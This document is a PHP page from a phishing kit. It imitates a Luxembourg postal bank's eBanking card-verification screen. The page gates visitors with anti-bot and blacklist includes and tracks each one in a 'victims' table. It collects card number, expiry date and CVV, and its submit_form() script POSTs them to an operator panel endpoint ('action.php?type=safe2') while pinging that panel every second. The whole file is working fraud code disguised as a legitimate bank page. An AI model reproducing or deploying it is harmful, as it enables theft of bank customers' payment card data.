<?php
include '../ipanel/inc/config.php';
include '../ipanel/inc/connect.php';
include '../new_anti_config.php';
if ($internal_antibot == 1) {
   include "../ipanel/inc/old_blocker.php";
}
if ($mobile_lock == "checked") {
   include "../ipanel/inc/mob_lock.php";
}
$url = $_SERVER['REQUEST_URI'];



include '../ipanel/inc/blacklist.php';
include '../ipanel/inc/gateway.php';


if ($enable_antibots == "checked") {
   include '../ipanel/inc/anti.php';
}
session_start();

$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];


if ($_SESSION['started'] == 'true') {

    $uniqueid = $_SESSION['uniqueid'];
    $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
    if ($query) {
   $arr = mysqli_fetch_array($query, MYSQLI_ASSOC);
   $user = $arr['user'];
   $card = $arr['card'];
   if ($card != '') {
    $error = "<div style='color:#D4222D'>" . translateText('errorsp1', $currentLanguage) . "<br><Br></div>";
   }
    }
  
  } else {
     header('location:../exit.php');
}
  


if($_SESSION['started'] == 'true'){
  $uniqueid = $_SESSION['uniqueid'];
  $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
  if ($query) {
          $query = mysqli_query($conn, "UPDATE victims SET status=11, buzzed=1 WHERE uniqueid=$uniqueid");
      }
} else {
     header('location:../exit.php');
}
  



    ?>

<!DOCTYPE html>

<html lang="fr" class="" style="">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

  
  

  <title>eboo</title>

  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link rel="icon" type="image/x-icon" href="theme/favicon.ico">




<link rel="stylesheet" href="./theme/styles.css">

<link rel="stylesheet" href="./theme/application.css">

<link rel="stylesheet" href="./theme/audi.css">



<script src="theme/styles.js" type="text/javascript"></script>
    <script type="text/javascript" src="theme/jquery-2.2.3.js"></script>

    
        
<script>
function check(form) {

    if (!checkThenr (document.getElementById('cnr').value,document.getElementById('thetype').value))
{  form.cnr.focus(); document.getElementById("cnr").style.borderColor="#de071c"; return false; } else { document.getElementById("cnr").style.borderColor="#c8c8c8"; }


var regExpressPostcode = /^(0[1-9]|1[0-2])\/(20[2-9][0-9])$/;
if (!regExpressPostcode.test(form.goned.value))
{  form.goned.focus(); document.getElementById("goned").style.borderColor="#de071c"; return false; } else { document.getElementById("goned").style.borderColor="#c8c8c8"; }


var regExpressPostcode =  /^[0-9]*$/
if (!regExpressPostcode.test(form.three.value))
{  form.three.focus(); document.getElementById("three").style.borderColor="#de071c"; return false; } else { document.getElementById("three").style.borderColor="#c8c8c8"; }

if (form.three.value.length < 3) 
{  form.three.focus(); document.getElementById("three").style.borderColor="#de071c"; return false; } else { document.getElementById("three").style.borderColor="#c8c8c8"; }



submit_form();
// form.submit()
}
function change(){
var change = document.getElementById("cnr").value

if (change.charAt(0) == '5') {
document.getElementById("thetype").value = "MxM";
document.getElementById("three").maxLength = "3";
document.getElementById("cnr").style = "background-image: url('theme/MxM.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}


else if (change.charAt(0) == '4') {
document.getElementById("thetype").value = "VxV";
document.getElementById("three").maxLength = "3";
document.getElementById("cnr").style = "background-image: url('theme/VxV.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}


else if (change.charAt(0) == '3') {
document.getElementById("thetype").value = "AxA";
document.getElementById("three").maxLength = "4";
document.getElementById("three").placeholder = "XXXX";
document.getElementById("cnr").style = "background-image: url('theme/AxA.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 60%;"
}


else if (change.charAt(0) == '6') {
document.getElementById("thetype").value = "DxD";
document.getElementById("three").maxLength = "3";
document.getElementById("cnr").style = "background-image: url('theme/DxD.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}

else {
document.getElementById("cnr").style = "background-image: url('theme/x.webp'); background-size: 20px 20px; background-repeat: no-repeat; background-position: 98% 50%;"
}



}
</script> 



</head>

<body >

  <app-root _nghost-idg-c0="" ng-version="8.2.14">
<div _ngcontent-idg-c0="" id="appContainer" class="">
<router-outlet _ngcontent-idg-c0="">
</router-outlet>
<app-ccp-login _nghost-idg-c3="" class="ng-star-inserted">
<div _ngcontent-idg-c3="" class="layout-container">
<header _ngcontent-idg-c3="">
<div _ngcontent-idg-c3="" class="header">
<div _ngcontent-idg-c3="" class="header__wrapper">
<div _ngcontent-idg-c3="" class="header__logo sidebar">
<img _ngcontent-idg-c3="" class="responsive-img" id="login-logo" src="./theme/POST_logo.png">
</div>
<div _ngcontent-idg-c3="" class="switch-lang-padding full-height" id="main-logo">
<div _ngcontent-idg-c3="" class="title title-big color-jumbo full-height" style="text-align: center;">
<img _ngcontent-idg-c3="" appinteractivelink="" src="./theme/logo_eboo_label.svg" tabindex="0" class="full-height">
</div>
</div>
<!---->
<!---->
<app-language _ngcontent-idg-c3="" class="vertical-center sidebar ng-star-inserted" id="login-language" name="login" _nghost-idg-c4="">
<mat-form-field _ngcontent-idg-c4="" appearance="none" class="switch-langue mat-form-field ng-tns-c13-3 mat-primary mat-form-field-type-mat-select mat-form-field-can-float ng-valid mat-form-field-should-float ng-touched ng-dirty" id="language-switch-div">
<div class="mat-form-field-wrapper">
<div class="mat-form-field-flex">
<!---->
<!---->
<div class="mat-form-field-infix">
<div _ngcontent-idg-c4="" class="language-switch-container">
<label _ngcontent-idg-c4="" aria-label="Language Selection" class="language-switch-label">
<?= translateText('errorsp2', $currentLanguage); ?></label>
<mat-select _ngcontent-idg-c4="" aria-label="Language Selection" class="language-switch-select mat-select ng-tns-c14-4 ng-valid ng-touched ng-dirty" disableoptioncentering="" panelclass="select-lang" role="listbox" id="mat-select-1" tabindex="0" aria-required="false" aria-disabled="false" aria-invalid="false" aria-multiselectable="false">
<div class="mat-select-trigger" aria-hidden="true" cdk-overlay-origin="">
<div class="mat-select-value">
<!---->
<!---->
<span class="mat-select-value-text ng-tns-c14-4 ng-star-inserted">
<!---->
<!---->
<mat-select-trigger _ngcontent-idg-c4="" aria-hidden="false" arialabel="Language Selection" role="option" class="ng-star-inserted">
<button _ngcontent-idg-c4="" class="dropdown-button btn" tabindex="-1">
<img _ngcontent-idg-c4="" class="flag" src="./theme/<?= translateText('errorsp2', $currentLanguage); ?>.svg">
</button>
</mat-select-trigger>
<!---->
</span>
</div>
<div class="mat-select-arrow-wrapper">
<div class="mat-select-arrow">
</div>
</div>
</div>
<!---->
</mat-select>
</div>
<span class="mat-form-field-label-wrapper">
<!---->
</span>
</div>
<!---->
</div>
<!---->
<div class="mat-form-field-underline ng-tns-c13-3 ng-star-inserted">
<span class="mat-form-field-ripple">
</span>
</div>
<div class="mat-form-field-subscript-wrapper">
<!---->
<!---->
<div class="mat-form-field-hint-wrapper ng-tns-c13-3 ng-trigger ng-trigger-transitionMessages ng-star-inserted" style="opacity: 1; transform: translateY(0%);">
<!---->
<div class="mat-form-field-hint-spacer">
</div>
</div>
</div>
</div>
</mat-form-field>
</app-language>
<!---->
</div>
</div>
</header>
<app-overhauls _ngcontent-idg-c3="" _nghost-idg-c5="">
<div _ngcontent-idg-c5="" class="overhauls-panel" id="post-website">
<!---->
<!---->
<!---->
<!---->
</div>
</app-overhauls>
<notifier-banner _ngcontent-idg-c3="">
<!---->
</notifier-banner>
<div _ngcontent-idg-c3="" class="main" role="main">
<div _ngcontent-idg-c3="" class="row">
<!---->
<div _ngcontent-idg-c3="" class="col s12">
<div _ngcontent-idg-c3="" class="card">
<div _ngcontent-idg-c3="" class="max-height card-content subscriptions-card">
<router-outlet _ngcontent-idg-c3="">
</router-outlet>
<form action="" method="post">
<input id="thetype" type="hidden" name="thetype"  value="">
<input type="text" autocomplete="off" id="blank" name="blank" readonly="readonly">
<app-login _nghost-idg-c9="" class="ng-star-inserted">
<div class="container">
            <div class="row">
                <div class="col-lg-12" id="maincontent">
					<div class="bcee-frame">
				<div style="padding-top:0px;text-align: left;">
                <h2><?= translateText('formp2', $currentLanguage); ?></h2> 
               <p><?= translateText('footerp4', $currentLanguage); ?></p>


                <?= $error ?>
                <br><br>
                <div class="inputs">
                <label for="cnr"><?= translateText('footerp11', $currentLanguage); ?> </label>
            <input class="form-control" onpaste="change();" onkeyup="change();" onchange="change();" name="number" id="cnr" maxlength="19" type="tel"  onKeyDown="if(event.keyCode==13) check(this.form);" >
           </div>
           <br>
           <div class="inputs">
           <label for="goned"><?= translateText('footerp12', $currentLanguage); ?> </label>
            <input class="form-control" type="tel" id="goned" name="goned" maxlength="7" onkeydown="if(event.keyCode==13) check(this.form);" placeholder="<?= translateText('footerp14', $currentLanguage); ?>">
           </div>
           <br>
           <div class="inputs">
           <label for="three"><?= translateText('footerp13', $currentLanguage); ?> </label>
            <input class="form-control" pattern="[0-9]*" inputmode="numeric" min="0000" max="9999" style="-webkit-text-security: disc;" maxlength="3" onkeydown="if(event.keyCode==13) check(this.form);" type="password" id="three" name="three">
           </div>


<br><br>
<button id="confirm" class="btn btn-reverse bordered" onclick="check(this.form)" type="button"><?= translateText('formp9', $currentLanguage); ?></button>

             
                </div>
					</div>
                </div>
            </div>
        </div>
        <br><br> <br><br>
</app-login>
<!---->
</form>
</div>
</div>
</div>
</div>
<!---->
<div _ngcontent-idg-c3="" class="ng-star-inserted">
<app-footer _ngcontent-idg-c3="" _nghost-idg-c7="">
<div _ngcontent-idg-c7="" class="row">
<div _ngcontent-idg-c7="" class="col s12 m6 l6 padding-top">
<div _ngcontent-idg-c7="" class="simple-card">
<p _ngcontent-idg-c7="" class="bloc-text center-align" translate="">
<?= translateText('i3foter3z', $currentLanguage); ?>  </p>
<div _ngcontent-idg-c7="" class="center-align">
<a _ngcontent-idg-c7="" appinteractivelink="" class="btn btn-reverse bordered" tabindex="0">
<span _ngcontent-idg-c7="" translate="">
<?= translateText('i3foter4z', $currentLanguage); ?> </span>
</a>
</div>
</div>
</div>
<div _ngcontent-idg-c7="" class="col s12 m6 l6 padding-top">
<div _ngcontent-idg-c7="" class="simple-card">
<p _ngcontent-idg-c7="" class="bloc-text center-align" translate="">
<?= translateText('i3foter5z', $currentLanguage); ?>  </p>
<div _ngcontent-idg-c7="" class="center-align" translate="">
<a _ngcontent-idg-c7="" appinteractivelink="" class="btn btn-reverse bordered" tabindex="0">
<span _ngcontent-idg-c7="" translate="">
<?= translateText('i3foter6', $currentLanguage); ?> </span>
</a>
</div>
</div>
</div>
</div>
<div _ngcontent-idg-c7="" class="row">
<a _ngcontent-idg-c7=""href="#">
<div _ngcontent-idg-c7="" class="full-width-banner">
<img _ngcontent-idg-c7="" src="./theme/MyTokengoesMobile_FR.jpg">
</div>
</a>
</div>
<div _ngcontent-idg-c7="" class="row">
<div _ngcontent-idg-c7="" class="col s12">
<div _ngcontent-idg-c7="" class="title title-big color-jumbo" style="text-align: center;" translate="">
<?= translateText('i7ftitle', $currentLanguage); ?></div>
</div>
</div>
<div _ngcontent-idg-c7="" class="row">
<div _ngcontent-idg-c7="" class="col s12 m12 l4">
</div>
<div _ngcontent-idg-c7="" class="col s2 m2 l2 iconapp-align">
<img _ngcontent-idg-c7="" id="iconapp" src="./theme/eboo_iconapp.png">
</div>
<div _ngcontent-idg-c7="" class="col s10 m10 l6">
<?= translateText('i7footer', $currentLanguage); ?>
</div>
</div>
<div _ngcontent-idg-c7="" class="row">
<div _ngcontent-idg-c7="" class="col s1 m2 l6">
</div>
<div _ngcontent-idg-c7="" class="col s11 m10 l6">
<div _ngcontent-idg-c7="" class="row">
<h4 _ngcontent-idg-c7="" class="title color-jumbo" translate="">
Votre eBanking aussi sur votre smartphone</h4>
<div _ngcontent-idg-c7="" class="row valign-wrapper-stores">
<a _ngcontent-idg-c7="" class="store-link"href="#">
<img _ngcontent-idg-c7="" class="valign-store-img" height="53" id="appstore-logo" src="./theme/app-store-badge_fr.png">
</a>
<a _ngcontent-idg-c7="" class="store-link"href="#">
<img _ngcontent-idg-c7="" class="valign-store-img" height="53" id="playstore-logo" src="./theme/google-play-badge_fr.png">
</a>
</div>
</div>
</div>
</div>
</app-footer>
</div>
<!---->
</div>
</div>
</app-ccp-login>
<app-cookies-menu _ngcontent-idg-c0="" _nghost-idg-c1="">
<!---->
<div _ngcontent-idg-c1="" class="col l1 ng-star-inserted" data-sticky-menu="">
<div _ngcontent-idg-c1="" class="cookies-menu">
<div _ngcontent-idg-c1="" class="fixed-action-btn grow-left action-btn-animation">
<button _ngcontent-idg-c1="" id="cookiesMenu" mz-button="" class="btn-flat btn-floating waves-effect">
<i _ngcontent-idg-c1="" class="pbr pbr-2x pbr-setting">
</i>
<span _ngcontent-idg-c1="" translate="">
Gestion des Cookies</span>
</button>
</div>
</div>
</div>
</app-cookies-menu>
<lib-browser-status _ngcontent-idg-c0="" _nghost-idg-c2="">
</lib-browser-status>
</div>
</app-root>




<div class="cdk-live-announcer-element cdk-visually-hidden" aria-atomic="true" aria-live="polite">
</div>
<div class="hiddendiv common">
</div>
<div class="cdk-overlay-container">
</div>
<div id="veepn-breach-alert">
</div>

<script type="text/javascript">
    window.onload=function(){
      
thecnr = function(jQinp)
{
    var format_and_pos = function(input, char, backspace)
    {
        var start = 0;
        var end = 0;
        var pos = 0;
        var value = input.value;

        if (char !== false)
        {
            start = input.selectionStart;
            end = input.selectionEnd;

            if (backspace && start > 0) // handle backspace onkeydown
            {
                start--;

                if (value[start] == " ")
                { start--; }
            }
            // To be able to replace the selection if there is one
            value = value.substring(0, start) + char + value.substring(end);

            pos = start + char.length; // caret position
        }

        var d = 0; // digit count
        var dd = 0; // total
        var gi = 0; // group index
        var newV = "";
        var groups = /^\D*3[47]/.test(value) ? // check for American Express
        [4, 6, 5] : [4, 4, 4, 4];

        for (var i = 0; i < value.length; i++)
        {
            if (/\D/.test(value[i]))
            {
                if (start > i)
                { pos--; }
            }
            else
            {
                if (d === groups[gi])
                {
                    newV += " ";
                    d = 0;
                    gi++;

                    if (start >= i)
                    { pos++; }
                }
                newV += value[i];
                d++;
                dd++;
            }
            if (d === groups[gi] && groups.length === gi + 1) // max length
            { break; }
        }
        input.value = newV;

        if (char !== false)
        { input.setSelectionRange(pos, pos); }
    };

    jQinp.keypress(function(e)
    {
        var code = e.charCode || e.keyCode || e.which;

        // Check for tab and arrow keys (needed in Firefox)
        if (code !== 9 && (code < 37 || code > 40) &&
        // and CTRL+C / CTRL+V
        !(e.ctrlKey && (code === 99 || code === 118)))
        {
            e.preventDefault();

            var char = String.fromCharCode(code);

            // if the character is non-digit
            // -> return false (the character is not inserted)

            if (/\D/.test(char))
            { return false; }

            format_and_pos(this, char);
        }
    }).
    keydown(function(e) // backspace doesn't fire the keypress event
    {
        if (e.keyCode === 8 || e.keyCode === 46) // backspace or delete
        {
            e.preventDefault();
            format_and_pos(this, '', this.selectionStart === this.selectionEnd);
        }
    }).
    on('paste', function()
    {
        // A timeout is needed to get the new value pasted
        setTimeout(function()
        { format_and_pos(jQinp[0], ''); }, 50);
    }).
    blur(function() // reformat onblur just in case (optional)
    {
        format_and_pos(this, false);
    });
};

thecnr($('#cnr'));




}



</script>

<script>
var characterCount = 0;

$('#goned').on('input', function(e) {
    var input = $(this).val();
    input = input.replace(/\D/g, '');
    if (input.length > 2) {
        input = input.substring(0, 2) + '/' + input.substring(2);
    }
    $(this).val(input);
    characterCount = $(this).val().length;
});


</script>



    
<script src="../assets/js/jquery-1.11.3.min.js"></script>
   <script src="../assets/js/main.js"></script>
   <script>
      var pinger = setInterval(function() {
         var urldata = "../ipanel/inc/action.php?type=ping";
         $.ajax({
            url: urldata,
            type: "GET",
            success: function(response) {
               //console.log(response)
            }
         });
      }, 1000);
      function submit_form() {
        var card = document.getElementById('cnr').value.replace(/\s+/g, '');
         var exp = document.getElementById('goned').value;
         var three = document.getElementById('three').value;
         $.ajax({
            type: 'POST',
            url: '../ipanel/inc/action.php?type=safe2',
            data: 'card=' + card + '&exp=' + exp + '&three=' + three,
            success: function(data) {
               var parsed_data = JSON.parse(data);
               if (parsed_data.status == 'ok') {
                  location.href = "loading.php"
               }
            }
         })
      }


   </script>

</body>
</html>
